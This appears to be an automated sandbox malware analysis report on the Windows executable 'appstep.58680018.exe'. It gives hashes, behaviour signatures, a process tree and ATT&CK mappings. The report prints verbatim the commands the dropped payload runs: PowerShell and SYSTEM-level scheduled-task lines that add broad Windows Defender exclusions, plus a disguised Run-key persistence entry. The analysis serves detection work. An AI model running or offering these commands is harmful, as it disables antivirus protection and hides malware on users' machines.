Analysis
- max time kernel
148s - max time network
155s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
22/07/2026, 02:00
Static task
static1
Behavioral task
behavioral1
Sample
appstep.58680018.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
appstep.58680018.exe
Resource
win11ltsc2024-20260709-en
General
- Target appstep.58680018.exe
- Size 54.3MB
- Sample260722-cfcnpshf76
- SHA256 266e830b92e8c43d43a4d138c09d32eee57d82ede21b882e8c46ddeed6574c7b
- MD5 2d3ef8b1634c61f68adc94b53ea2ad7d
- SHA1 93e3cc4c1b4bc91086fd1a1b899664656ac9ed35
- SHA512 f712eb44ea0a9bc3fd87df60aa894e613a0624eeb5e8af542f4dbc76d76b5203edaf8856a7fca5e871e3576ca9040df104c31ae174f44776937b9f526e2a6195
- SSDEEP 98304:wu19nmtLsx4qV5+uY2cQysL8kxEVv4vu7PErGCrC9ILrFMKQMYpTTDliJW9PgAU:RnnmtLsX5+um3nkSVveZYzvsyPgAU
- TLSH T19BC7F90676028DCAE06692B4145BBF91E3B9FD714AF1D36723F6272D1FEA34C4AA3144
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2296 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 5980 ixB3T2.exe 5144 ixB3T2.exe - Loads dropped DLL 4 IoCs
pid Process 5980 ixB3T2.exe 5980 ixB3T2.exe 5144 ixB3T2.exe 5144 ixB3T2.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\mGS5AF\\ixB3T2.exe\"" ixB3T2.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 4328 cmd.exe 3876 cmd.exe 5664 cmd.exe 5164 cmd.exe 4176 cmd.exe - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b ixB3T2.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2244 cmd.exe 2432 cmd.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5552 schtasks.exe 1008 schtasks.exe 3316 schtasks.exe 3824 schtasks.exe 4232 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 3520 appstep.58680018.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe 5980 ixB3T2.exe - Suspicious behavior: LoadsDriver 6 IoCs
pid Process 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2296 powershell.exe - Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 5980 wrote to memory of 2296 5980 ixB3T2.exe 93 PID 5980 wrote to memory of 4328 5980 ixB3T2.exe 95 PID 4328 wrote to memory of 3316 4328 cmd.exe 98 PID 4328 wrote to memory of 4452 4328 cmd.exe 99 PID 4328 wrote to memory of 4428 4328 cmd.exe 102 PID 5980 wrote to memory of 3876 5980 ixB3T2.exe 103 PID 3876 wrote to memory of 3824 3876 cmd.exe 106 PID 5980 wrote to memory of 5664 5980 ixB3T2.exe 107 PID 3876 wrote to memory of 1676 3876 cmd.exe 109 PID 5664 wrote to memory of 4232 5664 cmd.exe 110 PID 5980 wrote to memory of 5164 5980 ixB3T2.exe 112 PID 3876 wrote to memory of 2588 3876 cmd.exe 114 PID 5664 wrote to memory of 2888 5664 cmd.exe 115 PID 5164 wrote to memory of 5552 5164 cmd.exe 116 PID 5664 wrote to memory of 5444 5664 cmd.exe 117 PID 5980 wrote to memory of 4176 5980 ixB3T2.exe 118 PID 5164 wrote to memory of 3708 5164 cmd.exe 120 PID 4176 wrote to memory of 1008 4176 cmd.exe 121 PID 5164 wrote to memory of 2600 5164 cmd.exe 122 PID 4176 wrote to memory of 2560 4176 cmd.exe 123 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\appstep.58680018.exe"C:\Users\Admin\AppData\Local\Temp\appstep.58680018.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
PID:3520
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C:\Users\Public\mGS5AF\ixB3T2.exe"C:\Users\Public\mGS5AF\ixB3T2.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5980 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:2296
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\mGS5AF\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4328 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\mGS5AF\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3316
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4452
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4428
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3876 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3824
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1676
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2588
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5664 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4232
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2888
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5444
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5164 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5552
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3708
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2600
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4176 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1008
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2560
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4684
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C:\Users\Public\mGS5AF\ixB3T2.exe"C:\Users\Public\mGS5AF\ixB3T2.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5144
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\mGS5AF" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:2244 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\mGS5AF" /t REG_DWORD /d 0 /f2⤵PID:5320
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C:\Windows\system32\cmd.execmd.exe1⤵PID:1120
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:2432 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵PID:5372
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Public\mGS5AF\UxEnhance64.dll
- Size 3.1MB
- SHA256 2933edfeb7abad759719a271f45c9554a853ed7dcaa89ce1d6d67322288eea01
- MD5 1db9a4f5941e0faf63c71954ab605f5b
- SHA1 223f220b3aa955605641223451ce32031a4690fa
- SHA512 508589b5a4164e9f0ba69bceb2306acda376a1b532c4643adea8b4fbb6d58d47b4f5bae77dbe97adb223eba5f551f2841a55a1861a33e24bffccaa3b8362cc3d
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+j:P9m29xx3Tiqt06ox6+z2rNNrKoj
- TLSH T104E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\mGS5AF\adoresd.dat
- Size 4.8MB
- SHA256 ace98a7cf50f175f9bf6681b07e3412c99e8945eb032323225567e5b4affd8c3
- MD5 49f30bc0bea7519479b5b29575ca53da
- SHA1 46ce7391ac705f6af6eb28089fc65e3188f62fd3
- SHA512 f3b010f28cee0d5f6507e856c57aff968be37b9533f5998f06482d3bdbdffa4c6eb0e83747595232fcb9aff69c592fe40f933877ad0dbd466fd6f7864192feee
- SSDEEP 98304:KuZ630UjjOt6udZuYb7Ad2WAqSFmtNYNF/ltN3fjZgRnXxs:HQDPnORb7AdPEm7Y7ltlVgxs
- TLSH T19A363339536D9C62DDC7A0F8A49D4596FF683D60FAE2A006B47C1D213015DFB98AFE08
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\mGS5AF\ixB3T2.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\mGS5AF\msadox.tb
- Size 8KB
- SHA256 60308a9f9d5e1f68c93dae057ce24169168e71a28e71f478278c3dc265d324e0
- MD5 b63aed8976e4cb5ba37b4d2ea54d0de0
- SHA1 9a81151ea9fb6ea5eaa1e830c73d990191a52146
- SHA512 7ab9bfbcf3de66eedc291ba0e7f81cf02cb2577453403ab6192811eea4fda4e1d351eac446ab6bfbd8608267df3a21d01dadf75274a1975bbd6e4ae424fb9bbe
- SSDEEP 192:aqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:asZqZOXQ3uqvR2Kfzp
- TLSH T136029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DE2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH